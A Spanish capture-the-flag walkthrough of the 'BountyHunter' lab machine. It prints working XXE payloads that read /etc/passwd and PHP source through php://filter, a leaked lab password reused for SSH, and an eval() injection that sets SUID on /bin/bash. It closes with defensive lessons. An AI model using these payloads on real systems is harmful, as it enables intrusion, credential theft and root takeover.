BountyHunter
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. BountyHunter es una máquina Linux fácil con un formulario que envía datos en XML sin sanear. Eso habilita una inyección de entidad externa XML (XXE) que lee ficheros del sistema; con el wrapperphp://filtersacamos el código dedb.phpy, con él, una contraseña. Esa contraseña sirve por reutilización para entrar por SSH comodevelopment. Pararoot, unsudosobre un validador de tickets en Python que usaeval()sobre la entrada del usuario permite ejecutar código arbitrario y poner el SUID a/bin/bash.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping 10.10.11.100
64 bytes from 10.10.11.100: icmp_seq=1 ttl=63 time=203 ms
^C
--- 10.10.11.100 ping statistics ---
4 packets transmitted, 1 received, 75% packet loss, time 3028msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Conviene fijarse en el 75% de pérdida: de cuatro paquetes solo vuelve uno, y con 203 ms de latencia. No es que la máquina esté caída, es la VPN del laboratorio. Ese dato importa porque justifica usar -Pn en los escaneos: si nmap tuviera que decidir si el host está vivo a partir de un ping tan poco fiable, podría descartarlo antes de escanear nada.
Escaneo de puertos
Un SYN scan a los 65535 puertos deja la superficie más pequeña posible:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.100 -oG scan
Not shown: 50909 filtered tcp ports (no-response), 14624 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Raw packets sent: 123090 (5.416MB) | Rcvd: 18547 (741.888KB)Solo dos puertos, y esa escasez ya es información: sin SMB, sin bases de datos y sin servicios auxiliares, todo el vector de entrada tiene que estar en el 80, porque contra un SSH actualizado y sin credenciales no hay nada que hacer.
La línea Not shown merece una lectura. Los puertos cerrados aparecen repartidos en dos categorías: 50909 filtered (no-response) y 14624 closed (reset). Que convivan las dos indica un filtrado selectivo por delante del host: a la mayoría de puertos nadie contesta (los paquetes se descartan en silencio), mientras que otros devuelven un RST limpio. El syn-ack ttl 63 de la columna REASON confirma además que la respuesta viene del mismo salto que el ping.
El -sCV sobre esos dos pone versiones:
extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.100
Open ports: 22,80
Ports copied to clipboardnmap -p22,80 -sCV 10.10.11.100
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOpenSSH 8.2p1 y Apache 2.4.41 son las versiones que venían de serie en Ubuntu 20.04, ambas sin vulnerabilidades explotables de forma remota. Es decir, ninguna de las dos va a ser la vía de entrada: el fallo estará en la aplicación que sirve el Apache, no en el Apache.
TCP 80 - Enumeración web
whatweb describe una web estática corriente:
whatweb 10.10.11.100
http://10.10.11.100 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.100], JQuery, Script,
Title[Bounty Hunters]Wappalyzer coincide y no añade nada nuevo:

Aquí hay una ausencia que dice mucho: ni una sola herramienta menciona PHP. La plantilla es Bootstrap con jQuery, o sea HTML estático, y sin embargo la máquina acabará girando entera alrededor de ficheros .php. Es el recordatorio de que estos identificadores leen cabeceras y firmas del cliente, no el contenido del servidor.
Un barrido con dirsearch encuentra el primer hilo:
dirsearch -u http://10.10.11.100/ --exclude-status=403,404
[00:00:35] 301 - 309B - /js -> http://10.10.11.100/js/
[00:00:58] 301 - 313B - /assets -> http://10.10.11.100/assets/
[00:01:05] 301 - 310B - /css -> http://10.10.11.100/css/
[00:01:06] 200 - 0B - /db.php
[00:01:31] 301 - 316B - /resources -> http://10.10.11.100/resources//db.php devuelve 200 con 0 bytes. Esa combinación es exactamente lo que interesa: el fichero existe (no es un 404) pero no imprime nada. Un db.php que no produce salida es, casi con total seguridad, un fichero de configuración que solo define variables y se incluye desde otro sitio. Y las variables de un db.php son, por definición, credenciales de base de datos.
El mismo barrido con gobuster sirve de contraste instructivo:
gobuster dir -u http://10.10.11.100 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 277]Gobuster no encuentra db.php. No es un fallo de la herramienta ni del diccionario: es que se lanzó sin -x php, así que nunca llegó a pedir esa extensión. dirsearch la incluye por defecto (php, aspx, jsp, html, js aparece en su cabecera) y por eso sí dio con el fichero. La conclusión práctica es que dos fuzzers sobre el mismo objetivo pueden dar resultados incompatibles por un único parámetro, y que conviene mirar qué extensiones prueba cada uno antes de fiarse de un resultado negativo.
Abrir db.php en el navegador confirma lo que decía el 0B:

Página en blanco. El servidor ejecuta el PHP y devuelve su salida, que es vacía, en vez de mostrar el código. Ese es el problema a resolver más adelante: hace falta una forma de leer el fichero sin que pase por el intérprete. Queda anotado.
El portal que los fuzzers no encontraron
Ninguna de las dos herramientas devolvió nada más allá de los directorios de recursos, así que toca hacer lo que un fuzzer no hace: leer la página. El código fuente de la portada lo enseña en la barra de navegación:

<li class="nav-item"><a class="nav-link" href="#about">About</a></li>
<li class="nav-item"><a class="nav-link" href="#contact">Contact</a></li>
<li class="nav-item"><a class="nav-link" href="portal.php">Portal</a></li>portal.php, enlazado a la vista en el menú, y ausente de la salida de los dos fuzzers. Es la lección más barata de toda la máquina: el contenido enlazado no necesita adivinarse, y un barrido de diccionario nunca sustituye a mirar el HTML.

El portal es una sola línea, y encima avisa de en qué estado está:

Portal under development. Go here to test the bounty tracker.Under development. Ese aviso es la mejor pista de la caja: código a medio hacer, sin revisar y sin endurecer. El enlace lleva a log_submit.php, un formulario de cuatro campos que, al enviarlo, refleja lo escrito y avisa de que la base de datos aún no está lista:

Bounty Report System - Beta
If DB were ready, would have added:
Title: test
CWE: test
Score: test
Reward: testQue los datos vuelvan reflejados invita a probar XSS, y es lo primero que se intentó: <script>alert("hola")</script> en los cuatro campos. No ejecuta nada, el navegador recibe el texto dentro de una celda de tabla y lo pinta tal cual. Pero ese intento fallido acaba siendo el que abre la máquina, porque para verlo hay que interceptar la petición:

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4...Tres hallazgos de una sola captura. Primero, el formulario no envía a log_submit.php: hay una llamada AJAX (X-Requested-With: XMLHttpRequest) a un endpoint con nombre no adivinable, tracker_diRbPr00f314.php, que ningún diccionario iba a encontrar jamás. Segundo, todo viaja en un único parámetro data codificado en Base64. Y tercero, al descodificarlo aparece lo que de verdad importa:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title><script>alert("hola")</script></title>
<cwe><script>alert("hola")</script></cwe>
<cvss><script>alert("hola")</script></cvss>
<reward><script>alert("hola")</script></reward>
</bugreport>El servidor procesa XML. El prefijo PD94bWwg del Base64 lo delataba incluso antes de descodificar: son los caracteres <?xml codificados, y merece la pena reconocer esas firmas de un vistazo (PD9waHA es <?php, PK es un ZIP). Un parámetro Base64 que empieza por PD94bWwg es un documento XML disfrazado, y ahí el XSS deja de ser el ataque interesante.
Acceso como development
XXE en el formulario de bug report
Que los datos viajen en XML y se procesen en el servidor invita a probar XML External Entity (XXE): declaramos una entidad externa que apunta a un fichero local y la referenciamos en un campo que se refleje. Tras descodificar el Base64, el cuerpo es así, y la entidad &myFile; se sustituye por el contenido del fichero:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>x</cwe><cvss>x</cvss><reward>x</reward>
</bugreport>Reenviando la petición (con el XML re-codificado en Base64), la respuesta filtra /etc/passwd: XXE confirmada.

Salir de Burp: el mismo ataque desde la terminal
Burp vale para descubrir el vector, pero para iterar sobre él (probar rutas, ajustar el payload, filtrar la salida) es mucho más cómodo el shell. El payload vive en un fichero, se codifica al vuelo y se manda con curl. Antes conviene verificar la ida y vuelta del Base64, porque un salto de línea de más rompe el XML y el fallo se confunde con "la vulnerabilidad no existe":
cat xml.xml
echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d
$ cat xml.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>hola</cwe>
<cvss>hola</cvss>
<reward>hola</reward>
</bugreport>
$ echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>hola</cwe>
<cvss>hola</cvss>
<reward>hola</reward>
</bugreport>Comprobado que el viaje de ida y vuelta es limpio, la petición completa cabe en tres líneas:
data=$(cat xml.xml | base64)
curl -X POST http://10.10.11.100/tracker_diRbPr00f314.php \
--data-urlencode "data=$data" --compressed | grep '/bin/bash'
<td>root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bashDos detalles de esa línea. El --data-urlencode es obligatorio y no cosmético: el Base64 usa + y =, que en un cuerpo application/x-www-form-urlencoded significan "espacio" y "separador", así que sin escapar llegaría un payload corrupto. Y el grep '/bin/bash' no es por comodidad, es el filtro que convierte un /etc/passwd de cuarenta líneas en la única información útil: de todas las cuentas del sistema, solo root y development tienen shell interactiva. Un usuario llamado development en una máquina cuyo portal avisa de que está under development es el objetivo evidente.
php://filter para leer el código de db.php
/etc/passwd confirma el vector, pero no da credenciales. El objetivo real es db.php: si pudiéramos leer su código fuente, probablemente contendría las credenciales de la base de datos. El problema es que pedir el fichero .php directamente haría que el servidor lo ejecute en lugar de mostrarlo. La solución es el wrapper php://filter, que aplica una transformación (Base64) al fichero antes de incluirlo, de modo que recibimos el código fuente codificado en lugar de su salida:
<!DOCTYPE foo [<!ENTITY myFile SYSTEM
"php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>La ruta /var/www/html/db.php no se adivina, se deduce: db.php cuelga de la raíz web (lo dijo dirsearch) y /var/www/html es el DocumentRoot por defecto de Apache en Debian y Ubuntu, que es exactamente la distribución que declaró el -sCV.

If DB were ready, would have added:
<td>Title:</td>
<td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgok...</td>
<td>CWE:</td><td>hola</td>El blob empieza por PD9waHA, que es <?php en Base64: la señal de que esta vez sí ha vuelto código y no la salida vacía de antes. Descodificándolo aparece el fichero entero:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>El fichero confirma la sospecha del 0B: son cinco asignaciones y nada más, sin una sola línea que imprima. Y ese // TODO -> Implement login system with the database. cierra el círculo con el under development del portal: las credenciales están escritas para un sistema de login que nunca se llegó a implementar. Nadie las usó nunca, nadie las rotó, y siguen ahí.
Reutilización de credenciales por SSH
El grep '/bin/bash' de antes ya había dejado a development como el único candidato con shell. La contraseña de la base de datos es justo el tipo de secreto que la gente reutiliza, y aquí hay un motivo extra para creerlo: si el login nunca se implementó, esa clave no llegó a ser "la de la aplicación", se quedó siendo la que su autor tenía en la cabeza. La probamos por SSH:
ssh development@10.10.11.100
Funciona, y leemos la primera flag:
development@bountyhunter:~$ cat /home/development/user.txt
38551240e37b5002363587b271136a69Shell como root
sudo sobre un validador de tickets en Python
En el home de development hay un contract.txt que menciona una "herramienta interna" de Skytrain Inc cuyos tickets fallan la validación. La pista lleva a sudo -l:

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pyPodemos ejecutar ese script como root sin contraseña. Leemos su código:

El script lee un fichero .md y valida un ticket en varios pasos: la primera línea debe ser # Skytrain Inc, la segunda ## Ticket to, y debe existir una línea __Ticket Code:__. La línea siguiente es el código del ticket, y aquí está el fallo:
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return TrueEl script pasa la línea por eval(), que evalúa código Python arbitrario. Solo exige que el número inicial cumpla % 7 == 4. Conexión clave: si controlamos esa línea, controlamos lo que ejecuta eval() (inyección por eval).
eval() a SUID en /bin/bash
Creamos un ticket que pasa las validaciones y cuela una llamada a os.system. 109 cumple 109 % 7 == 4, y tras él un + y la carga útil; eval() ejecuta la suma y el comando, que pone el bit SUID a /bin/bash:
# Skytrain Inc
## Ticket to Rootville
__Ticket Code:__
**109+__import__('os').system('chmod u+s /bin/bash')**Lanzamos el validador como root y, una vez /bin/bash tiene SUID, bash -p mantiene el EUID de root:
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
bash -p
bash-5.0# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)
bash-5.0# cat /root/root.txt
7a20e044a495cf531cd24deb956480c0Cadena de ataque
Formulario de bug report (XML, :80)
│ XXE → leer ficheros del sistema
▼
php://filter → código de db.php → contraseña m19RoAU0hP41A1sTsq6K
│ reutilización de credenciales por SSH
▼
shell como development → user.txt
│ sudo NOPASSWD ticketValidator.py → eval() sobre el ticket
▼
**109+__import__('os').system('chmod u+s /bin/bash')** → bash -p → root → root.txtLecciones aprendidas
- Procesar XML sin deshabilitar las entidades externas es XXE. El parser resolvió una entidad
SYSTEMy leyó ficheros del servidor. Hay que desactivar la resolución de entidades externas (libxml_disable_entity_loader, parsers seguros) en cualquier entrada XML. php://filterconvierte un LFI/XXE en robo de código fuente. Pedir un.phpdirectamente lo ejecuta; con el wrapper Base64 se obtiene su código y, con él, los secretos embebidos como las credenciales de la BBDD.- No reutilices contraseñas entre servicios. La clave de la base de datos abrió SSH. Cada cuenta y servicio debe tener su propio secreto (reutilización de credenciales).
eval()sobre entrada del usuario es RCE. El validador confiaba en una operación aritmética, peroeval()ejecuta cualquier Python. Usarast.literal_evalo un parser aritmético acotado, nuncaeval()con datos externos (inyección por eval).- Un fuzzer no sustituye a leer el HTML. Ni
dirsearchnigobusterdevolvieronportal.php, que estaba enlazado a la vista en el menú de la portada, y el endpoint real (tracker_diRbPr00f314.php) era directamente inadivinable: solo apareció interceptando la petición. El diccionario cubre lo oculto; el código fuente y el proxy cubren lo que la propia aplicación te está diciendo. - Dos fuzzers pueden contradecirse por un solo parámetro.
dirsearchencontródb.phpygobusterno, porque este último se lanzó sin-x php. Antes de dar por bueno un resultado negativo, mirar qué extensiones probó la herramienta. - El intento fallido fue el que abrió la máquina. El XSS no ejecutó nada, pero para comprobarlo hubo que interceptar el envío, y ahí apareció el
data=en Base64 con XML dentro. Aprender a leer las firmas de Base64 (PD94bWwg=<?xml,PD9waHA=<?php) ahorra el paso de descodificar para saber qué se está mirando. - "Under development" es una superficie de ataque. El portal lo avisaba y el
// TODOdedb.phplo confirmaba: un login a medio escribir dejó credenciales reales en un fichero de configuración que nadie volvió a tocar. El código sin terminar rara vez pasa por revisión, y casi nunca por rotación de secretos.